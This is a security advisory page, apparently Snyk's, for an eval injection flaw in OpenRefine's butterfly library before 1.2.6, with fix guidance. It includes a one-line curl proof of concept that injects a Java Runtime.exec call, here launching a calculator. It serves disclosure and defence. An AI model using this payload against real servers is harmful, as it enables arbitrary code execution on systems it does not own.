Eval Injection Affecting org.openrefine.dependencies:butterfly package, versions [,1.2.6)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Eval Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JAVA-ORGOPENREFINEDEPENDENCIES-8304162
  • published25 Oct 2024
  • disclosed24 Oct 2024
  • creditUnknown

Introduced: 24 Oct 2024

CVE NOT AVAILABLE CWE-95  (opens in a new tab)

How to fix?

Upgrade org.openrefine.dependencies:butterfly to version 1.2.6 or higher.

Overview

Affected versions of this package are vulnerable to Eval Injection through the parseJSON and getJSON functions. An attacker can execute arbitrary code on the server by supplying crafted input that manipulates the evaluation process.

PoC

curl -H 'Content-Type: application/json;charset=utf-8' --data $'"\\\u200d\\", Packages.java.lang.Runtime.getRuntime().exec(\'gnome-calculator\')) // "' http://localhost:3333/getjsontest

References

CVSS Scores

version 4.0
version 3.1